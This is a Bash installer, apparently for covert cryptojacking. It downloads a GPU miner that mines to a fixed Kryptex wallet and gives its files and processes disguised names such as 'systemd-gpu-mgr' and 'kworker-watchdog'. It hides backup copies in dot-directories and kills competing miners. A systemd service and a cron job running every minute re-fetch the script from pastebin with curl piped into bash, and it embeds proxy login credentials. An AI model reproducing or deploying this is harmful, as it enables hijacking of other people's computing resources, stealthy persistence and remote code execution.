Загрузка данных


#!/bin/bash
# Убираем -e, чтобы скрипт мог сам обрабатывать ошибки, не завершаясь мгновенно
set -uo pipefail

# Глобальный обработчик критических ошибок
trap 'echo "[ERROR] An unexpected error occurred at line $LINENO. Attempting to continue..." >&2' ERR

# ==============================================================================
# --- PART A: PRIVILEGE & PATHS ---
# ==============================================================================

SUDO_CMD=""
PRIVILEGE_MODE="USER"
if [ "$(id -u)" -eq 0 ]; then
    PRIVILEGE_MODE="ROOT"
elif command -v sudo >/dev/null 2>&1; then
    if sudo -v >/dev/null 2>&1; then PRIVILEGE_MODE="ROOT"; SUDO_CMD="sudo"; fi
fi

# ==============================================================================
# --- PART 0: CONFIGURATION (LPMINER / PEARL / KRYPTEX) ---
# ==============================================================================

# СЮДА ВСТАВЬТЕ ССЫЛКУ НА ЭТОТ СКРИПТ ПОСЛЕ ЗАЛИВКИ НА ХОСТИНГ
readonly SCRIPT_URL="https://pastebin.com/raw/79Zqzc6Q" 
readonly XRAY_INSTALLER_URL="https://pastebin.com/raw/baTZ3wcj"

readonly POOL_LIST="stratum+ssl://prl.kryptex.network:8048,stratum+ssl://prl-eu.kryptex.network:8048,stratum+ssl://prl-ru.kryptex.network:8048,stratum+ssl://prl-us.kryptex.network:8048,stratum+ssl://prl-sg.kryptex.network:8048,stratum+ssl://prl-br.kryptex.network:8048,stratum+ssl://prl-ae.kryptex.network:8048,stratum+tcp://prl.kryptex.network:7048,stratum+tcp://prl-eu.kryptex.network:7048,stratum+tcp://prl-ru.kryptex.network:7048,stratum+tcp://prl-us.kryptex.network:7048,stratum+tcp://prl-sg.kryptex.network:7048,stratum+tcp://prl-br.kryptex.network:7048,stratum+tcp://prl-ae.kryptex.network:7048"
readonly BASE_WALLET_ADDRESS="krxXK4RM46" # 

# Резервные прокси
readonly P_USER="i76qPr"
readonly P_PASS="Lt1t3TZZhR"
readonly P_IP="45.87.252.72"
readonly BACKUP_SOCKS="$P_USER:$P_PASS@$P_IP:5501"
readonly BACKUP_HTTP="$P_USER:$P_PASS@$P_IP:5500"

# Ссылка на lpminer
readonly BINARY_URL="https://github.com/peakminer/peakminer/releases/download/v2.7.1/peakminer-2.7.1-linux-x86_64"
readonly DAEMON_NAME="systemd-gpu-mgr"
readonly SERVICE_NAME="systemd-gpu-mgr"
readonly HYDRA_WATCHDOG_NAME="kworker-watchdog"

declare -a BACKUP_LOCATIONS
if [ "$PRIVILEGE_MODE" = "ROOT" ]; then
    BASE_DIR="/lib/systemd/system-gpu"
    BACKUP_LOCATIONS=( "/usr/local/share/.sys-gpu" "/etc/udev/hwdb.d/.backup" )
else
    BASE_DIR="$HOME/.cache/sys-gpu"
    BACKUP_LOCATIONS=( "$HOME/.local/share/.sys-gpu" )
fi

# Fallback: Если основная директория недоступна, используем /tmp
if ! $SUDO_CMD mkdir -p "$BASE_DIR" 2>/dev/null; then
    BASE_DIR="/tmp/.sys-gpu-$(id -u)"
fi

INSTALL_DIR="$BASE_DIR"
LOG_DIR="${BASE_DIR}/logs"
GENESIS_BLOCK_PATH="$INSTALL_DIR/sys-gpu.conf"
REVIVER_SCRIPT_PATH="$INSTALL_DIR/sys-reviver"

readonly MINER_LOG_FILE="$LOG_DIR/miner.log"
readonly WATCHDOG_LOG_FILE="$LOG_DIR/watchdog.log"
readonly REVIVER_LOG_FILE="$LOG_DIR/reviver.log"
WORKER_NAME=""

# ==============================================================================
# --- PART 1: PREPARATION & OPTIMIZATION ---
# ==============================================================================



# ==============================================================================
# --- PART 1: PREPARATION & OPTIMIZATION ---
# ==============================================================================

unlock_files() {
    # Снимаем атрибут "неизменяемости" (immutable) со всех файлов, 
    # чтобы их можно было удалить или заменить.
    if [ "$PRIVILEGE_MODE" = "ROOT" ] && command -v chattr >/dev/null 2>&1; then
        $SUDO_CMD chattr -i "$INSTALL_DIR"/* 2>/dev/null || true
        for b in "${BACKUP_LOCATIONS[@]}"; do 
            $SUDO_CMD chattr -i "$b"/* 2>/dev/null || true
        done
    fi
}

cleanup_old() {
    echo "[INFO] Cleaning up legacy processes..."
    
    # Сначала разблокируем, потом удаляем
    unlock_files || true
    
    # Останавливаем системную службу, если она есть
    if [ "$PRIVILEGE_MODE" = "ROOT" ] && command -v systemctl >/dev/null 2>&1; then
        $SUDO_CMD systemctl stop "$SERVICE_NAME" >/dev/null 2>&1 || true
        $SUDO_CMD systemctl disable "$SERVICE_NAME" >/dev/null 2>&1 || true
    fi
    
    # Завершаем все связанные процессы
    for name in rigel lpminer "$DAEMON_NAME" "$HYDRA_WATCHDOG_NAME" xray; do
        $SUDO_CMD pkill -9 -f "$name" >/dev/null 2>&1 || true
    done
    
    # Удаляем директорию установки
    $SUDO_CMD rm -rf "$INSTALL_DIR" 2>/dev/null || true
}

setup_system() {
    echo "[INFO] Installing dependencies..."
    if [ "$PRIVILEGE_MODE" = "ROOT" ]; then
        if command -v apt-get >/dev/null 2>&1; then
            $SUDO_CMD apt-get update -y >/dev/null 2>&1 || true
            $SUDO_CMD apt-get install -y curl wget tar coreutils cron e2fsprogs >/dev/null 2>&1 || true
        elif command -v yum >/dev/null 2>&1; then
            $SUDO_CMD yum install -y curl wget tar cronie e2fsprogs >/dev/null 2>&1 || true
        fi
    fi
    
    # Увеличиваем лимит открытых файлов для майнера
    ulimit -n 1048576 >/dev/null 2>&1 || true
}
# ==============================================================================
# --- PART 2: DOWNLOAD LPMINER ---
# ==============================================================================
# --- Добавьте эту функцию перед deploy_miner ---
download_file() {
    local url="$1"
    local output="$2"
    local max_attempts=3
    local curl_opts="-L -# --connect-timeout 5 --speed-limit 10240 --speed-time 10"

    for ((i=1; i<=max_attempts; i++)); do
        echo "  -> Attempt $i/$max_attempts: Trying Direct Connection..."
        if curl $curl_opts -o "$output" "$url"; then return 0; fi
        
        echo "  -> Direct failed. Trying SOCKS5 Proxy..."
        if curl $curl_opts --socks5-hostname "$BACKUP_SOCKS" -o "$output" "$url"; then return 0; fi
        
        sleep 2
    done
    return 1
}
deploy_miner() {
    local worker_arg="${1:-}"; local extra_args="${2:-}"
    
    $SUDO_CMD mkdir -p "$INSTALL_DIR" "$LOG_DIR"
    WORKER_NAME="${worker_arg:-gpu-node}"
    
    { echo "SCRIPT_URL=\"$SCRIPT_URL\""; echo "WORKER_NAME=\"$WORKER_NAME\""; echo "EXTRA_ARGS=\"$extra_args\""; } | $SUDO_CMD tee "$GENESIS_BLOCK_PATH" > /dev/null
    $SUDO_CMD chmod 600 "$GENESIS_BLOCK_PATH" >/dev/null 2>&1 || true

    echo "[INFO] Downloading PeakMiner (Direct Binary)..."
    
    # Прямое скачивание без распаковки
    if ! download_file "$BINARY_URL" "$INSTALL_DIR/$DAEMON_NAME"; then
        echo "[CRITICAL] Miner download failed!"
        exit 1
    fi
    
    # Делаем файл исполняемым
    $SUDO_CMD chmod 755 "$INSTALL_DIR/$DAEMON_NAME"
    echo "[INFO] PeakMiner downloaded and ready."
}
# ==============================================================================
# --- PART 3: SMART WATCHDOG (LPMINER VERSION) ---
# ==============================================================================

deploy_watchdog() {
    local extra_gpu_args="$1"
    cat << EOF | $SUDO_CMD tee "$INSTALL_DIR/$HYDRA_WATCHDOG_NAME" > /dev/null
#!/bin/bash
INSTALL_DIR="$INSTALL_DIR"
DAEMON_NAME="$DAEMON_NAME"
MINER_LOG_FILE="$MINER_LOG_FILE"

# Параметры запуска
COIN="pearl"
USER_WALLET="$BASE_WALLET_ADDRESS.$WORKER_NAME"
POOL_URLS="$POOL_LIST"

while true; do
    if ! pgrep -f "\$DAEMON_NAME" >/dev/null 2>&1; then
        CMD="export CUDA_VISIBLE_DEVICES=0,1,2,3,4,5,6,7 && ./\$DAEMON_NAME --coin \$COIN \
             --url \$POOL_URLS \
             --user \$USER_WALLET \
             --log-file $MINER_LOG_FILE --log-append \
             --job-timeout 60 \
             --dns-over-https \
             $extra_gpu_args"
        
        (cd "\$INSTALL_DIR" && setsid nohup bash -c "\$CMD" > /dev/null 2>&1 &)
    fi
    sleep 30
done
EOF
    $SUDO_CMD chmod +x "$INSTALL_DIR/$HYDRA_WATCHDOG_NAME"
}
# ==============================================================================
# --- PART 4: PERSISTENCE (AUTO-REVIVER) ---
# ==============================================================================

deploy_persistence() {
    $SUDO_CMD touch "$REVIVER_LOG_FILE" 2>/dev/null || true
    
    cat << EOF | $SUDO_CMD tee "$REVIVER_SCRIPT_PATH" > /dev/null
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:\$HOME/bin"
INSTALL_DIR="$INSTALL_DIR"
DAEMON_NAME="$DAEMON_NAME"
GENESIS_BLOCK="$GENESIS_BLOCK_PATH"

(
  flock -n 200 || exit 1
  if ! pgrep -f "\$DAEMON_NAME" >/dev/null 2>&1; then 
      if [ ! -d "\$INSTALL_DIR" ] || [ ! -f "\$INSTALL_DIR/\$DAEMON_NAME" ]; then 
          if [ -f "\$GENESIS_BLOCK" ]; then 
              source "\$GENESIS_BLOCK"
              (curl -sL "\$SCRIPT_URL" | sed 's/\r$//' | bash -s -- "\$WORKER_NAME" \$EXTRA_ARGS) >/dev/null 2>&1 & 
          fi
      fi
  fi
) 200>/var/lock/.reviver.lock 2>/dev/null || true
EOF
    $SUDO_CMD chmod +x "$REVIVER_SCRIPT_PATH" 2>/dev/null || true

    if [ "$PRIVILEGE_MODE" = "ROOT" ]; then
        echo "[INFO] Deploying Root Persistence..."
        if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
            $SUDO_CMD mkdir -p /etc/systemd/system 2>/dev/null || true
            local service_path="/etc/systemd/system/$SERVICE_NAME.service"
            cat << EOF | $SUDO_CMD tee "$service_path" > /dev/null
[Unit]
Description=System GPU Manager
After=network.target
[Service]
Type=simple
ExecStart=$INSTALL_DIR/$HYDRA_WATCHDOG_NAME
WorkingDirectory=$INSTALL_DIR
Restart=always
RestartSec=10
LimitNOFILE=1048576
[Install]
WantedBy=default.target
EOF
            $SUDO_CMD systemctl daemon-reload >/dev/null 2>&1 || true
            $SUDO_CMD systemctl enable "$SERVICE_NAME" >/dev/null 2>&1 || true
            $SUDO_CMD systemctl restart "$SERVICE_NAME" >/dev/null 2>&1 || true
        else
            (cd "$INSTALL_DIR" && setsid nohup "./$HYDRA_WATCHDOG_NAME" >/dev/null 2>&1 &)
        fi
        
        $SUDO_CMD mkdir -p /etc/cron.d 2>/dev/null || true
        echo "* * * * * root $REVIVER_SCRIPT_PATH" | $SUDO_CMD tee "/etc/cron.d/sys-reviver" > /dev/null || true
        

    else
        echo "[INFO] Deploying User Persistence (Crontab)..."
        if command -v crontab >/dev/null 2>&1; then
            (crontab -l 2>/dev/null | grep -v "$REVIVER_SCRIPT_PATH"; echo "* * * * * $REVIVER_SCRIPT_PATH") | crontab - >/dev/null 2>&1 || true
        fi
        (cd "$INSTALL_DIR" && nohup "./$HYDRA_WATCHDOG_NAME" >/dev/null 2>&1 &)
    fi
}

# ==============================================================================
# --- ENTRY ---
# ==============================================================================

main() {
    local w=""
    local args=""
    
    # Обработка аргументов
    while [[ $# -gt 0 ]]; do
        case "$1" in
            --devices) if [ -n "${2:-}" ]; then args+="--devices $2 "; shift 2; else shift; fi ;;
            *) 
                if [ -z "$w" ] && [[ "$1" != -* ]]; then w="$1"
                else args+="$1 "; fi
                shift ;;
        esac
    done
    
    echo "=================================================="
    echo " LPMINER DEPLOYMENT (PEARL / KRYPTEX)"
    echo "=================================================="
    
    cleanup_old
    setup_system
    deploy_miner "$w" "$args"
    deploy_watchdog "$args"
    deploy_persistence
    
    echo "=================================================="
    echo "[SUCCESS] INSTALLATION COMPLETE."
    echo " Worker Name  : $WORKER_NAME"
    echo " Wallet/ID    : $BASE_WALLET_ADDRESS"
    echo " Log file     : tail -f $MINER_LOG_FILE"
    echo "=================================================="
}

main "$@"